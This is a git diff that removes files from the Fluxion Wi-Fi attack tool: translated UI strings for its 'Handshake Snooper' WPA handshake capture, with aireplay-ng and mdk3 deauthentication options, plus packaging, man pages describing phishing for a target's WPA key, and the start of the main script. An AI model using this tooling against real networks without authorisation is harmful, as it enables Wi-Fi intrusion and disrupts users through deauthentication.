-HandshakeSnooperVerifierSynchronicityAsynchronousOption="Асинхронно (${CYel}только на быстрых системах${CClr})." -HandshakeSnooperVerifierSynchronicitySynchronousOption="Синхронно (${CGrn}рекомендуется${CClr})." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperStartingArbiterNotice="Запуск демона ${CCyn}Handshake Snooper$CClr." -HandshakeSnooperSnoopingForNSecondsNotice="Проверка каждые \$HandshakeSnooperVerifierInterval секунд." -HandshakeSnooperStoppingForVerifierNotice="Остановка атаки и проверка хэшей." -HandshakeSnooperSearchingForHashesNotice="Поиск хэшей в файле захвата." -HandshakeSnooperArbiterAbortedWarning="${CYel}Прервано${CClr}: Операция была прервана, не найдено валидного хэша." -HandshakeSnooperArbiterSuccededNotice="${CGrn}Успех${CClr}: Валидный хэш был найден и сохранён в базе данных fluxion." -HandshakeSnooperArbiterCompletedTip="Атака ${CBCyn}Handshake Snooper$CBYel завершена, закройте это окно и начните другую атаку.$CClr" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Handshake Snooper/language/sk.sh b/fluxion_origins/attacks/Handshake Snooper/language/sk.sh deleted file mode 100644 index 031577a..0000000 --- a/fluxion_origins/attacks/Handshake Snooper/language/sk.sh +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env bash -# identifier: Handshake Snopper -# description: Získa WPA/WPA2 kryptovancie 'hashes'. - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperMethodQuery="Vyberte metódu získania 'handshake'" -HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" -HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierIntervalQuery="Ako často sa má kontrolovať 'handshake'?" -HandshakeSnooperVerifierInterval30SOption="Každých 30 sekúnd (${CGrn}odporúčané${CClr})." -HandshakeSnooperVerifierInterval60SOption="Každých 60 sekúnd." -HandshakeSnooperVerifierInterval90SOption="Každých 90 sekúnd." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierSynchronicityQuery="Ako sa má overovať?" -HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchrónne (${CYel}len rýchle systémy${CClr})." -HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchrónne (${CGrn}odporúčané${CClr})." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon aktivovaný." -HandshakeSnooperSnoopingForNSecondsNotice="Špehujem \$HandshakeSnooperVerifierInterval sekúnd." -HandshakeSnooperStoppingForVerifierNotice="Prerušujem špehovanie & kontrolujem 'hashes'." -HandshakeSnooperSearchingForHashesNotice="Hľadám 'hashes' v 'capture' súbore." -HandshakeSnooperArbiterAbortedWarning="${CYel}Prerušené${CClr}: Operácia bola prerušená, žiadny platný 'hash' neboj nájdený." -HandshakeSnooperArbiterSuccededNotice="${CGrn}Úspešné${CClr}: Platný 'hash' bol detekovaný a uložený do fluxion databázy." -HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Handshake Snooper/language/sl.sh b/fluxion_origins/attacks/Handshake Snooper/language/sl.sh deleted file mode 100755 index f140abf..0000000 --- a/fluxion_origins/attacks/Handshake Snooper/language/sl.sh +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env bash -# identifier: Handshake Snopper -# description: Retrieves WPA/WPA2 encryption hashes.(translate) - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperMethodQuery="Select a method of handshake retrieval" -HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" -HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" -HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." -HandshakeSnooperVerifierInterval60SOption="Every 60 seconds." -HandshakeSnooperVerifierInterval90SOption="Every 90 seconds." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" -HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." -HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." -HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." -HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." -HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." -HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." -HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." -HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Handshake Snooper/language/tk.sh b/fluxion_origins/attacks/Handshake Snooper/language/tk.sh deleted file mode 100755 index dcf82b9..0000000 --- a/fluxion_origins/attacks/Handshake Snooper/language/tk.sh +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env bash -# identifier: Handshake Snopper -# description: Retrieves WPA/WPA2 encryption hashes. (translate) - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperMethodQuery="Tokalasma edinme methodu seciniz" -HandshakeSnooperMonitorMethodOption="Monitor (${CYel}pasif$CClr)" -HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}agresif$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}agresif$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" -HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." -HandshakeSnooperVerifierInterval60SOption="Every 60 seconds." -HandshakeSnooperVerifierInterval90SOption="Every 90 seconds." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" -HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." -HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." -HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." -HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." -HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." -HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." -HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." -HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Handshake Snooper/language/zh.sh b/fluxion_origins/attacks/Handshake Snooper/language/zh.sh deleted file mode 100755 index 45e7999..0000000 --- a/fluxion_origins/attacks/Handshake Snooper/language/zh.sh +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env bash -# identifier: Handshake Snopper -# description: 检索WPA/WPA2加密散列。 - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperMethodQuery="选择一种方式来检查握手包获取状态" -HandshakeSnooperMonitorMethodOption="监听模式 (${CYel}被动$CClr)" -HandshakeSnooperAireplayMethodOption="aireplay-ng 解除认证方式 (${CRed}侵略性$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 解除认证方式 (${CRed}侵略性$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierIntervalQuery="每隔多久检查一次握手包" -HandshakeSnooperVerifierInterval30SOption="每30秒钟 (${CGrn}推荐${CClr})." -HandshakeSnooperVerifierInterval60SOption="每60秒钟" -HandshakeSnooperVerifierInterval90SOption="每90秒钟" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" -HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." -HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}推荐${CClr})." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." -HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." -HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." -HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." -HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." -HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." -HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/bin/arch/PKGBUILD b/fluxion_origins/bin/arch/PKGBUILD deleted file mode 100644 index 5b72c36..0000000 --- a/fluxion_origins/bin/arch/PKGBUILD +++ /dev/null @@ -1,66 +0,0 @@ -# Maintainer: Cyberfee - -_pkgname=fluxion -pkgname=$_pkgname-git -pkgver=r1183.63b821f -pkgrel=1 -pkgdesc='Fluxion is a security auditing and social-engineering research tool' -url='https://github.com/FluxionNetwork/fluxion' -license=('GPL3') -source=('git://github.com/FluxionNetwork/fluxion.git#branch=master') - -depends=( - 'aircrack-ng' 'bash>=4.2' 'coreutils' - 'awk' 'iw' 'unzip' - 'curl' 'bc' 'xterm' -) - -makedepends=('binutils' 'coreutils' 'git') -conflicts=('fluxion-git') -provides=('fluxion-git') -sha256sums=('SKIP') -arch=('any') - -prepare() { - if [ -d "$srcdir/$pkgname" ]; then - rm -rf "$srcdir/$pkgname" - fi - - mkdir -p "$srcdir/$pkgname" - cd "$srcdir/$pkgname" -} - -pkgver() { - cd "$srcdir/$_pkgname" - - ( set -o pipefail - git describe --long 2>/dev/null | sed 's/\([^-]*-g\)/r\1/;s/-/./g' || - printf "r%s.%s" "$(git rev-list --count HEAD)" "$(git rev-parse --short HEAD)" - ) -} - -prepare() { - cd "$srcdir/$_pkgname" -} - -package() { - cd "$srcdir/$_pkgname" - - mkdir -p "$pkgdir/usr/bin" - mkdir -p "$pkgdir/usr/share/fluxion" - - install -Dm644 -t "$pkgdir/usr/share/doc/fluxion/" README.md - install -Dm644 -t "$pkgdir/usr/local/man/man1/" docs/man/fluxion.1 - - rm -rf *.md .git* *.yml .project .editorconfig - - cp -a --no-preserve=ownership * "$pkgdir/usr/share/fluxion" - - cat > "$pkgdir/usr/bin/fluxion" << EOF -#!/bin/sh -cd /usr/share/fluxion -exec bash fluxion.sh "\${@}" -EOF - - chmod a+x "$pkgdir/usr/bin/fluxion" -} diff --git a/fluxion_origins/docs/man/fluxion.1 b/fluxion_origins/docs/man/fluxion.1 deleted file mode 100644 index bdd5454..0000000 --- a/fluxion_origins/docs/man/fluxion.1 +++ /dev/null @@ -1,76 +0,0 @@ -.TH FLUXION 1 "MARCH 2018" Linux "User Manuals" -.SH NAME -fluxion \- Fluxion is a security auditing and social-engineering research tool -.SH SYNOPSIS -.B fluxion [-debug] [-l -.I language -.B ] -.I attack -.B ... -.SH DESCRIPTION -.B fluxion is a security auditing and social-engineering research tool. -It is a remake of linset by vk496 with (hopefully) less bugs -and more functionality. The script attempts to retrieve the WPA/WPA2 -key from a target access point by means of a social engineering -(phising) attack. It's compatible with the latest release of Kali -(rolling). Fluxion's attacks' setup is mostly manual, -but experimental auto-mode handles some of the attacks' -setup parameters. -.SH OPTIONS -.IP "-v " -Print version number. -.IP "--help " -Print help page and exit with 0. -.IP "-m " -Run fluxion in manual mode instead of auto mode. -.IP "-k " -Kill wireless connection if it is connected. -.IP "-d " -Run fluxion in debug mode. -.IP "-x " -Try to run fluxion with xterm terminals instead of tmux. -.IP "-r " -Reload driver. -.IP "-l " -Define a certain language. -.IP "-e " -Select the target network based on the ESSID. -.IP "-c " -Indicate the channel(s) to listen to. -.IP "-a " -Define a certain attack. -.IP "--ratio " -Define the windows size. Bigger ratio -> smaller window size. -Default is 4. -.IP "-b " -Select the target network based on the access point MAC address. -.IP "-j " -Define a certain jamming interface. -.IP "-a " -Define a certain access point interface. -.SH FILES -.I /tmp/fluxspace/ -.RS -The system wide tmp directory. -.RE -.I $FLUXION/attacks/ -.RS -Folder where handshakes and passwords -are stored in. -.SH ENVIRONMENT -.IP FLUXIONAuto -Automatically run fluxion in auto mode if exported. -.IP FLUXIONDebug -Automatically run fluxion in debug mode if exported. -.IP FLUXIONWIKillProcesses -Automatically kill any interfering process(es). -.SH DIAGNOSTICS -Please checkout the other log files or use -the debug mode. -.SH BUGS -Please report any bugs at: -https://github.com/FluxionNetwork/fluxion/issues -.SH AUTHOR -Cyberfee, l3op, dlinkproto, vk496, MPX4132 -.SH "SEE ALSO" -.BR aircrack-ng (8), diff --git a/fluxion_origins/docs/man/fluxion.man b/fluxion_origins/docs/man/fluxion.man deleted file mode 100644 index 65fe62e..0000000 --- a/fluxion_origins/docs/man/fluxion.man +++ /dev/null @@ -1,92 +0,0 @@ -FLUXION(1) User Manuals FLUXION(1) - - - -NAME - fluxion - Fluxion is a security auditing and social-engineering - research tool - -SYNOPSIS - fluxion [-debug] [-l language ] attack ... - -DESCRIPTION - fluxion is a security auditing and social-engineering research tool. - It is a remake of linset by vk496 with (hopefully) less bugs and more - functionality. The script attempts to retrieve the WPA/WPA2 key from a - target access point by means of a social engineering (phising) attack. - It's compatible with the latest release of Kali (rolling). Fluxion's - attacks' setup is mostly manual, but experimental auto-mode handles - some of the attacks' setup parameters. - -OPTIONS - -v Print version number. - - --help Print help page and exit with 0. - - -m Run fluxion in manual mode instead of auto mode. - - -k Kill wireless connection if it is connected. - - -d Run fluxion in debug mode. - - -x Try to run fluxion with xterm terminals instead of tmux. - - -r Reload driver. - - -l - Define a certain language. - - -e - Select the target network based on the ESSID. - - -c - Indicate the channel(s) to listen to. - - -a - Define a certain attack. - - --ratio - Define the windows size. Bigger ratio -> smaller window size. - Default is 4. - - -b - Select the target network based on the access point MAC address. - - -j - Define a certain jamming interface. - - -a - Define a certain access point interface. - -FILES - /tmp/fluxspace/ - The system wide tmp directory. - $FLUXION/attacks/ - Folder where handshakes and passwords are stored in. - -ENVIRONMENT - FLUXIONAuto - Automatically run fluxion in auto mode if exported. - - FLUXIONDebug - Automatically run fluxion in debug mode if exported. - - FLUXIONWIKillProcesses - Automatically kill any interfering process(es). - -DIAGNOSTICS - Please checkout the other log files or use the debug mode. - -BUGS - Please report any bugs at: https://github.com/FluxionNetwork/flux- - ion/issues - -AUTHOR - Cyberfee, l3op, dlinkproto, vk496, MPX4132 - -SEE ALSO - aircrack-ng(8), - - - -Linux MARCH 2018 FLUXION(1) \ No newline at end of file diff --git a/fluxion_origins/fluxion.sh b/fluxion_origins/fluxion.sh deleted file mode 100755 index 6810d21..0000000 --- a/fluxion_origins/fluxion.sh +++ /dev/null @@ -1,1889 +0,0 @@ -#!/usr/bin/env bash - -# ============================================================ # -# ================== < FLUXION Parameters > ================== # -# ============================================================ # -# Path to directory containing the FLUXION executable script. -readonly FLUXIONPath=$(dirname $(readlink -f "$0")) - -# Path to directory containing the FLUXION library (scripts). -readonly FLUXIONLibPath="$FLUXIONPath/lib" - -# Path to the temp. directory available to FLUXION & subscripts. -readonly FLUXIONWorkspacePath="/tmp/fluxspace" -readonly FLUXIONIPTablesBackup="$FLUXIONPath/iptables-rules" - -# Path to FLUXION's preferences file, to be loaded afterward. -readonly FLUXIONPreferencesFile="$FLUXIONPath/preferences/preferences.conf" - -# Constants denoting the reference noise floor & ceiling levels. -# These are used by the the wireless network scanner visualizer. -readonly FLUXIONNoiseFloor=-90 -readonly FLUXIONNoiseCeiling=-60 - -readonly FLUXIONVersion=4 -readonly FLUXIONRevision=14 - -# Declare window ration bigger = smaller windows -FLUXIONWindowRatio=4 - -# Allow to skip dependencies if required, not recommended -FLUXIONSkipDependencies=0 - -# ============================================================ # -# ================= < Script Sanity Checks > ================= # -# ============================================================ # -if [ $EUID -ne 0 ]; then # Super User Check - echo -e "\\033[31mAborted, please execute the script as root.\\033[0m"; exit 1 -fi - -# ===================== < XTerm Checks > ===================== # -# TODO: Run the checks below only if we're not using tmux. -if [ ! "${DISPLAY:-}" ]; then # Assure display is available. - echo -e "\\033[31mAborted, X (graphical) session unavailable.\\033[0m"; exit 2 -fi - -if ! hash xdpyinfo 2>/dev/null; then # Assure display probe. - echo -e "\\033[31mAborted, xdpyinfo is unavailable.\\033[0m"; exit 3 -fi - -if ! xdpyinfo &>/dev/null; then # Assure display info available. - echo -e "\\033[31mAborted, xterm test session failed.\\033[0m"; exit 3 -fi - -# ================ < Parameter Parser Check > ================ # -getopt --test > /dev/null # Assure enhanced getopt (returns 4). -if [ $? -ne 4 ]; then - echo "\\033[31mAborted, enhanced getopt isn't available.\\033[0m"; exit 4 -fi - -# =============== < Working Directory Check > ================ # -if ! mkdir -p "$FLUXIONWorkspacePath" &> /dev/null; then - echo "\\033[31mAborted, can't generate a workspace directory.\\033[0m"; exit 5 -fi - -# Once sanity check is passed, we can start to load everything. - -# ============================================================ # -# =================== < Library Includes > =================== # -# ============================================================ # -source "$FLUXIONLibPath/installer/InstallerUtils.sh" -source "$FLUXIONLibPath/InterfaceUtils.sh" -source "$FLUXIONLibPath/SandboxUtils.sh" -source "$FLUXIONLibPath/FormatUtils.sh" -source "$FLUXIONLibPath/ColorUtils.sh" -source "$FLUXIONLibPath/IOUtils.sh" -source "$FLUXIONLibPath/HashUtils.sh" -source "$FLUXIONLibPath/Help.sh" - -# NOTE: These are configured after arguments are loaded (later). - -# ============================================================ # -# =================== < Parse Parameters > =================== # -# ============================================================ # -if ! FLUXIONCLIArguments=$( - getopt --options="vdkrnmtbhe:c:l:a:r" \ - --longoptions="debug,version,killer,reloader,help,airmon-ng,multiplexer,target,test,auto,bssid:,essid:,channel:,language:,attack:,ratio,skip-dependencies" \ - --name="FLUXION V$FLUXIONVersion.$FLUXIONRevision" -- "$@" - ); then - echo -e "${CRed}Aborted$CClr, parameter error detected..."; exit 5 -fi - -AttackCLIArguments=${FLUXIONCLIArguments##* -- } -readonly FLUXIONCLIArguments=${FLUXIONCLIArguments%%-- *} -if [ "$AttackCLIArguments" = "$FLUXIONCLIArguments" ]; then - AttackCLIArguments="" -fi - - -# ============================================================ # -# ================== < Load Configurables > ================== # -# ============================================================ # - -# ============= < Argument Loaded Configurables > ============ # -eval set -- "$FLUXIONCLIArguments" # Set environment parameters. - -#[ "$1" != "--" ] && readonly FLUXIONAuto=1 # Auto-mode if using CLI. -while [ "$1" != "" ] && [ "$1" != "--" ]; do - case "$1" in - -v|--version) echo "FLUXION V$FLUXIONVersion.$FLUXIONRevision"; exit;; - -h|--help) fluxion_help; exit;; - -d|--debug) readonly FLUXIONDebug=1;; - -k|--killer) readonly FLUXIONWIKillProcesses=1;; - -r|--reloader) readonly FLUXIONWIReloadDriver=1;; - -n|--airmon-ng) readonly FLUXIONAirmonNG=1;; - -m|--multiplexer) readonly FLUXIONTMux=1;; - -b|--bssid) FluxionTargetMAC=$2; shift;; - -e|--essid) FluxionTargetSSID=$2; - # TODO: Rearrange declarations to have routines available for use here. - FluxionTargetSSIDClean=$(echo "$FluxionTargetSSID" | sed -r 's/( |\/|\.|\~|\\)+/_/g') - shift;; - -c|--channel) FluxionTargetChannel=$2; shift;; - -l|--language) FluxionLanguage=$2; shift;; - -a|--attack) FluxionAttack=$2; shift;; - --ratio) FLUXIONWindowRatio=$2; shift;; - --auto) readonly FLUXIONAuto=1;; - --skip-dependencies) readonly FLUXIONSkipDependencies=1;; - esac - shift # Shift new parameters -done - -shift # Remove "--" to prepare for attacks to read parameters. -# Executable arguments are handled after subroutine definition. - -# =================== < User Preferences > =================== # -# Load user-defined preferences if there's an executable script. -# If no script exists, prepare one for the user to store config. -# WARNING: Preferences file must assure no redeclared constants. -if [ -x "$FLUXIONPreferencesFile" ]; then - source "$FLUXIONPreferencesFile" -else - echo '#!/usr/bin/env bash' > "$FLUXIONPreferencesFile" - chmod u+x "$FLUXIONPreferencesFile" -fi - -# ================ < Configurable Constants > ================ # -if [ "$FLUXIONAuto" != "1" ]; then # If defined, assure 1. - readonly FLUXIONAuto=${FLUXIONAuto:+1} -fi - -if [ "$FLUXIONDebug" != "1" ]; then # If defined, assure 1. - readonly FLUXIONDebug=${FLUXIONDebug:+1} -fi - -if [ "$FLUXIONAirmonNG" != "1" ]; then # If defined, assure 1. - readonly FLUXIONAirmonNG=${FLUXIONAirmonNG:+1} -fi - -if [ "$FLUXIONWIKillProcesses" != "1" ]; then # If defined, assure 1. - readonly FLUXIONWIKillProcesses=${FLUXIONWIKillProcesses:+1} -fi - -if [ "$FLUXIONWIReloadDriver" != "1" ]; then # If defined, assure 1. - readonly FLUXIONWIReloadDriver=${FLUXIONWIReloadDriver:+1} -fi - -# FLUXIONDebug [Normal Mode "" / Developer Mode 1] -if [ $FLUXIONDebug ]; then - :> /tmp/fluxion_debug_log - readonly FLUXIONOutputDevice="/tmp/fluxion_debug_log" - readonly FLUXIONHoldXterm="-hold" -else - readonly FLUXIONOutputDevice="/dev/null" - readonly FLUXIONHoldXterm="" -fi - -# ================ < Configurable Variables > ================ # -readonly FLUXIONPromptDefault="$CRed[${CSBlu}fluxion$CSYel@$CSWht$HOSTNAME$CClr$CRed]-[$CSYel~$CClr$CRed]$CClr " -FLUXIONPrompt=$FLUXIONPromptDefault - -readonly FLUXIONVLineDefault="$CRed[$CSYel*$CClr$CRed]$CClr" -FLUXIONVLine=$FLUXIONVLineDefault - -# ================== < Library Parameters > ================== # -readonly InterfaceUtilsOutputDevice="$FLUXIONOutputDevice" - -readonly SandboxWorkspacePath="$FLUXIONWorkspacePath" -readonly SandboxOutputDevice="$FLUXIONOutputDevice" - -readonly InstallerUtilsWorkspacePath="$FLUXIONWorkspacePath" -readonly InstallerUtilsOutputDevice="$FLUXIONOutputDevice" -readonly InstallerUtilsNoticeMark="$FLUXIONVLine" - -readonly PackageManagerLog="$InstallerUtilsWorkspacePath/package_manager.log" - -declare IOUtilsHeader="fluxion_header" -readonly IOUtilsQueryMark="$FLUXIONVLine" -readonly IOUtilsPrompt="$FLUXIONPrompt" - -readonly HashOutputDevice="$FLUXIONOutputDevice" - -# ============================================================ # -# =================== < Default Language > =================== # -# ============================================================ # -# Set by default in case fluxion is aborted before setting one. -source "$FLUXIONPath/language/en.sh" - -# ============================================================ # -# ================== < Startup & Shutdown > ================== # -# ============================================================ # -fluxion_startup() { - if [ "$FLUXIONDebug" ]; then return 1; fi - - # Make sure that we save the iptable files - iptables-save >"$FLUXIONIPTablesBackup" - local banner=() - - format_center_literals \ - " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐" - banner+=("$FormatCenterLiterals") - format_center_literals \ - " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║" - banner+=("$FormatCenterLiterals") - format_center_literals \ - " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜" - banner+=("$FormatCenterLiterals") - format_center_literals \ - " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║" - banner+=("$FormatCenterLiterals") - format_center_literals \ - " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘" - banner+=("$FormatCenterLiterals") - format_center_literals \ - "¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯" - banner+=("$FormatCenterLiterals") - - clear - - if [ "$FLUXIONAuto" ]; then echo -e "$CBlu"; else echo -e "$CRed"; fi - - for line in "${banner[@]}"; do - echo "$line"; sleep 0.05 - done - - echo # Do not remove. - - sleep 0.1 - local -r fluxionRepository="https://github.com/FluxionNetwork/fluxion" - format_center_literals "${CGrn}Site: ${CRed}$fluxionRepository$CClr" - echo -e "$FormatCenterLiterals" - - sleep 0.1 - local -r versionInfo="${CSRed}FLUXION $FLUXIONVersion$CClr" - local -r revisionInfo="(rev. $CSBlu$FLUXIONRevision$CClr)" - local -r credits="by$CCyn FluxionNetwork$CClr" - format_center_literals "$versionInfo $revisionInfo $credits" - echo -e "$FormatCenterLiterals" - - sleep 0.1 - local -r fluxionDomain="raw.githubusercontent.com" - local -r fluxionPath="FluxionNetwork/fluxion/master/fluxion.sh" - local -r updateDomain="github.com" - local -r updatePath="FluxionNetwork/fluxion/archive/master.zip" - if installer_utils_check_update "https://$fluxionDomain/$fluxionPath" \ - "FLUXIONVersion=" "FLUXIONRevision=" \ - $FLUXIONVersion $FLUXIONRevision; then - installer_utils_run_update "https://$updateDomain/$updatePath" \ - "FLUXION-V$FLUXIONVersion.$FLUXIONRevision" "$FLUXIONPath" - fluxion_shutdown - fi - - echo 